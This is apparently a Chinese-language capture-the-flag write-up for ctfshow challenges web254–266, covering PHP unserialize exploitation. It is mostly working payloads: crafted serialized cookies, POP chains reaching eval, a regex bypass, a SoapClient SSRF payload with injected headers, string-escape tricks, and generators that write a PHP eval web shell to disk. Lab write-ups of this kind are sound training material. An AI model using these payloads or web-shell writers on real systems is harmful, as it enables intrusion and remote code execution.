web254
?username=xxxxxx&password=xxxxxx
web255
cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
cookie:
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
get:
?username=a&password=xxxxxx
web257
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
想要调用的函数:eval
public function __destruct(){
$this->class->getInfo();
}
想办法更改ctfShowUser类的class属性为backDoor类
无绕过
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class;
public function __construct($a)
{
$this->class = $a;
}
}
class backDoor{
private $code='phpinfo();';
public function getInfo(){
eval($this->code);
}
}
$a = new backDoor();
$b = new ctfShowUser($a);
echo urlencode(serialize($b));
web258
添加了一层过滤
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
加个加号就能绕过了
O%3A%2b11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2b8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
%2b url编码后的 +
就是说,O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}
:号后面加空格不影响
web259
给出flag.php源代码
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
访问flag.php 页面回显your ip not 127.0.0.1
index.php
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
反序列化入口在这里
SoapClient
//需要打开php.ini里的soap的拓展
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
类摘要如下:
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}
可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
public SoapClient :: SoapClient(mixed $wsdl [,array $options ]) 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
payload:
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
web260
?ctfshow=s%3A18%3A%22ctfshow_i_love_36D%22%3B
web261
题目提示:打Redis
目标:file_put_contents($this->username, $this->password);
ps:
如果类中同时定义了 unserialize() 和 wakeup() 两个魔术方法, 则只有 unserialize() 方法会生效,wakeup() 方法会被忽略。
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);
web262
注释提示:message.php
if($msg->token=='admin'){
echo $flag;
但是我们无法直接控制token这个属性,他是被写死的
回到一开始的页面
$umsg = str_replace('fuck', 'loveU', serialize($msg));
fuck 四个字符,替换后为5个字符
可以通过反序列化字符逃逸来控制token,一开始的页面就是造cookie的,通过在第一个页面,逃逸造出来的带有恶意token属性的cookie去访问message,反序列化拿flag
O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";N;s:5:"token";s:5:"admin";}
要逃逸的内容:27个字符
";s:5:"token";s:5:"admin";}
我们输入27次fuck,替换后就是比原来多了27个字符
本地调试:
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$str = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$a = new message(1,2,$str);
$mes = serialize($a);
$umsg = str_replace('fuck', 'loveU', $mes);
var_dump(unserialize($umsg));
结果:
object(message)#2 (4) {
["from"]=>
int(1)
["msg"]=>
int(2)
["to"]=>
string(135) "loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU"
["token"]=>
string(5) "admin"
}
可见此时token已被逃逸成admin
反过来,如果替换变少的话,我们也可以新增属性
<?php
class message{
public $from;
public $msg;
public $to;
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
//echo serialize(new message());
$b='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck';
$str = ';s:5:"token";s:5:"admin';
$a = new message(1,$b,$str);
$mes = serialize($a);
$umsg = str_replace('fuck', 'lov', $mes);
echo $umsg;
//O:7:"message":3:{s:4:"from";i:1;s:3:"msg";s:68:"lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:";s:5:"token";s:5:"admin";}
//";s:2:"to";s:23:"
//17个字符
var_dump(unserialize($umsg));
O:7:"message":3:{s:4:"from";i:1;s:3:"msg";s:64:"lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:";s:5:"token";s:5:"admin";}object(message)#2 (4) {
["from"]=>
int(1)
["msg"]=>
string(64) "lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:"
["to"]=>
NULL
["token"]=>
string(5) "admin"
}
新增了不存在的属性
web263
php session 反序列化,www.zip
1.理解php session反序列化漏洞原理
https://www.jb51.net/article/116246.htm
2.做题
$_COOKIE['limit']我们可控
inc/inc.php
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
"log-".$this->username 我们写入的文件名
"使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s') 我们写入的东西
但是怎么调用这个User类中的__destruct呢,我们可以通过phpsession,反序列化储存后,取出时调用的unserialize来触发
<?php
class User{
public $username;
public $password;
public $status='a';
}
$a=new User();
$a->username='a.php';
$a->password='<?php eval($_POST[1]);?>';
echo base64_encode('|'.serialize($a));
把生成的东西放到cookie['limit']里,然后访问index.php
触发
$_SESSION['limit']=base64_decode($_COOKIE['limit']);
存入session
这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将 a:1:{s:4:"ryat";s:30:" 作为SESSION的key,将 O:1:"A":1:{s:1:"a";s:2:"xx";} 作为value,然后进行反序列化,最后就会得到A这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。漏洞在加载使用php引擎的页面时session去读session中的内容并反序列化导致漏洞触发,不需要任何输出
我们就能写入log-a.php一句话了
web264
262+263的感觉
$_SESSION['msg']=base64_encode($umsg)
在这里存进了session
message.php
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
在这里取出了session,同时伴有unserialize
/?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web265
public function login(){
return $this->token===$this->password;
}
token是随机数,但是password我们可控 地址传参,让password指向token的地址
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token= 'a';
$this->password = &$this->token;
}
}
echo urlencode(serialize(new ctfshowAdmin()));
web266
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
如果匹配到ctfshow,就会抛出异常,导致无法触发__destruct方法
拿上一题的环境测试:
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token= 'a';
$this->password = &$this->token;
}
public function __destruct(){
echo '<br>success<br>';
}
}
$a = new ctfshowAdmin();
echo serialize($a);
$c = 'O:12:"CtfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}';
unserialize($c);
回显
O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
success
success
因此,只要将序列化后的字符串,给他把c大写就能绕过正则匹配了,且反序列化不影响
本地测试多次,哪个字符大小写貌似都不影响__destruct